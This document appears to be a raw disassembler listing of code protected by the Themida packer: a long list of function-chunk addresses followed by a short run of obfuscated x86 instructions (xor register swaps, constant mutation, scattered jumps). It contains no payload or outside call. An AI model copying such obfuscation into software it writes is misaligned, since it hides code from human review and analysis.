; FUNCTION CHUNK AT 00553B9D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00553BE9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00553C31 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553C4C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00553CA0 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00553CEE SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00553D1D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553D4B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00553D94 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00553DE5 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00553E43 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00553E88 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00553F3A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00553FE3 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00554084 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055409A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005540BE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00554125 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055413C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055416D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005541AC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005541EB SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00554248 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055427B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005542C4 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 00554334 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00554359 SIZE 00000092 BYTES
; FUNCTION CHUNK AT 005543F3 SIZE 00000066 BYTES
; FUNCTION CHUNK AT 00554472 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554485 SIZE 00000088 BYTES
; FUNCTION CHUNK AT 0055457C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005545C7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005545D4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005545FE SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00554638 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00554659 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055467E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005546A8 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00554778 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005547BD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005547D8 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 0055483D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005548AE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005548E8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00554910 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005549A6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005549D3 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00554A1F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00554A8E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00554ABA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00554AEB SIZE 000000BC BYTES
; FUNCTION CHUNK AT 00554BB1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00554BE7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00554C7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554C98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00554CF4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00554D14 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00554D43 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00554D8C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00554E0E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00554E4F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00554E6D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00554EC7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00554F0B SIZE 0000006B BYTES
; FUNCTION CHUNK AT 00554FFF SIZE 00000053 BYTES
; FUNCTION CHUNK AT 00555077 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055508E SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0055510D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0055514A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00555174 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00555219 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555255 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00555262 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055527B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005552D4 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00555317 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005553A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005553B7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005553E0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00555410 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00555442 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055547B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00555530 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055557A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005555BF SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005555E9 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 00555639 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 005556B3 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00555730 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055577A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005557C2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005557D3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00555809 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00555844 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005558D1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055593B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005559EE SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00555A2E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555A73 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00555AA1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00555AD8 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00555B07 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00555BD3 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00555C4A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00555C6E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00555C82 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00555CE5 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00555D62 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00555D7D SIZE 00000049 BYTES
; FUNCTION CHUNK AT 00555DD2 SIZE 00000074 BYTES
; FUNCTION CHUNK AT 00555E52 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00555EDD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555EFA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555F2F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555F94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00555FFD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00556036 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556065 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00556097 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005560EE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00556174 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005561BC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00556223 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00556246 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00556265 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00556299 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005562DE SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055634F SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005563F1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055641C SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005564AA SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005564E3 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 00556538 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055658B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005565DD SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055662E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00556689 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005566A8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00556711 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00556739 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055676F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00556793 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055680C SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0055686F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00556898 SIZE 00000088 BYTES
; FUNCTION CHUNK AT 00556929 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00556982 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005569A8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556A18 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00556A54 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557B21 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557B46 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00557B60 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00557BB6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00557C04 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00557C60 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00557C86 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557C99 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00557CBC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00557D4A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557D8B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00557DB2 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00557DE5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00557E3A SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00557EA0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557EE7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00557FB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00558007 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00558033 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055805B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055808B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005580D7 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00558137 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005581A0 SIZE 00000069 BYTES
; FUNCTION CHUNK AT 00558216 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00558231 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055823F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055828D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055833F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00558391 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005583C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005583F6 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005584A3 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 00558500 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055852B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055853C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558556 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005585B1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055864F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00558673 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055874B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558771 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558805 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055886D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005588CF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005588F3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055890A SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00558A14 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 00558A73 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00558AE3 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00558AF2 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00558B3D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00558B99 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00558BE5 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00558C2B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00558C86 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00558D2F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558DA8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558E19 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00558E51 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00558E83 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00558EB2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558F11 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00558F58 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558FB4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00558FE0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00559051 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00559098 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005590F6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055914B SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00559240 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00559281 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005592D9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559310 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055938B SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005593E9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055943E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559491 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005594C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005594D5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055956E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005595AE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005595EC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00559617 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00559671 SIZE 00000076 BYTES
; FUNCTION CHUNK AT 005596F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559719 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055977B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005597BB SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00559853 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559883 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559944 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055996C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005599B6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00559A04 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559A24 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559A56 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00559AB1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559AE7 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00559B53 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00559B84 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559BB2 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00559BF8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00559C32 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559C5A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00559CE9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00559D72 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00559E03 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 00559E82 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00559EB6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00559F14 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00559F52 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00559FAF SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0055A015 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055A03F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055A070 SIZE 000000A9 BYTES
; FUNCTION CHUNK AT 0055A12B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055A1B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A1D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A1E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A22B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055A289 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0055A2ED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055A352 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A37E SIZE 0000008B BYTES
; FUNCTION CHUNK AT 0055A467 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055A4A9 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055A506 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A517 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055A556 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055A58E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A5C8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A60B SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0055A678 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0055A724 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A73B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055A7B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A7E6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055A81F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A87B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055A8E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A8FC SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0055A936 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A966 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055A9BA SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0055AA31 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055AA93 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055AB2D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055AB5A SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0055AB94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055ABB5 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055AC11 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055AC3E SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055AC7B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055ACBB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055ACE7 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0055AD31 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055AD78 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055AD9B SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0055ADF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055AE11 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055AE3A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055AEA6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055AEF7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055AF19 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B028 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B03B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055B103 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055B131 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055B153 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055B211 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055B23A SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0055B293 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055B2DF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055B2FB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055B359 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055B380 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055B3C5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055B464 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0055B4ED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B529 SIZE 00000060 BYTES
; FUNCTION CHUNK AT 0055B5AA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055B5F5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B610 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055B643 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 0055B6D8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055B6F4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055B797 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B800 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B80E SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055B869 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055B8E5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055B93B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055B991 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055B9AD SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055B9EA SIZE 00000064 BYTES
; FUNCTION CHUNK AT 0055BA6F SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055BAD6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BB05 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055BB74 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BBE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BC0D SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0055BC6C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BC90 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0055BCDE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055BD1E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055BD86 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055BE3C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055BE7B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055BE9D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055BEEC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055BF58 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055BF84 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055BFDA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055C007 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055C032 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055C067 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0055C0F4 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0055C165 SIZE 0000006E BYTES
; FUNCTION CHUNK AT 0055C1EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C1FE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C2D6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055C384 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C3A1 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055C434 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055C4A8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055C560 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055C5D9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055C647 SIZE 00000065 BYTES
; FUNCTION CHUNK AT 0055C6B2 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055C716 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055C75D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C785 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055C7B0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055C7DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C82A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C864 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0055C8BC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C929 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055C984 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055C9C1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055C9FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CA1A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CA35 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0055CAA8 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055CB0C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055CB44 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CB9D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055CBBB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055CBE9 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0055CC3E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CC69 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055CC98 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055CCDF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055CD44 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055CD9E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055CDE2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055CE16 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055CE46 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CE5C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055CE8C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055CEAA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055CEC5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055CEE0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055CF17 SIZE 00000008 BYTES
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 2
xor ebx, [esp+18h+var_18]
xor [esp+18h+var_18], ebx
xor ebx, [esp+18h+var_18]
pop esp
mov word ptr [esp+14h+var_14], dx
jmp loc_557B0D
; ---------------------------------------------------------------------------
loc_556A8F: ; CODE XREF: sub_556A70+107Cj
xor ecx, 476C35CAh
jmp loc_55B028
; ---------------------------------------------------------------------------
loc_556A9A: ; CODE XREF: sub_556A70-1461j
xor ecx, 36C06F2Dh
and ebp, ecx
pop ecx
xor ebp, 759221E7h
jmp loc_55A3F7
; ---------------------------------------------------------------------------
loc_556AAE: ; CODE XREF: sub_556A70-28A7j
push ebp
mov ebp, 7AE83367h
push ebx
mov ebx, 18877822h
shr ebx, 2
and ebx, 7D3F47A6h
jmp loc_55662E
; ---------------------------------------------------------------------------
loc_556AC8: ; CODE XREF: sub_556A70-4C9Dj
push ebx
jmp loc_5565DD
; ---------------------------------------------------------------------------
loc_556ACE: ; CODE XREF: sub_556A70+44ABj
pop esi
sub ebx, 4
jmp loc_554A1F
; ---------------------------------------------------------------------------
loc_556AD7: ; CODE XREF: sub_556A70+61D0j
dec edi
or edi, 0DB91AC3h
shr edi, 1
xor edi, 5A156F1Eh
xor edi, 1DE9826Bh
sub edx, 728E692Fh
sub edx, edi
add edx, 728E692Fh
pop edi
xchg edx, [esp-8+arg_4]
pop esp
mov [esp-0Ch+arg_8], edx
push eax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_556B09: ; CODE XREF: Themida_:0055B1B2j
push esp
push dword ptr [esp+0]
jmp loc_553CA0
; ---------------------------------------------------------------------------
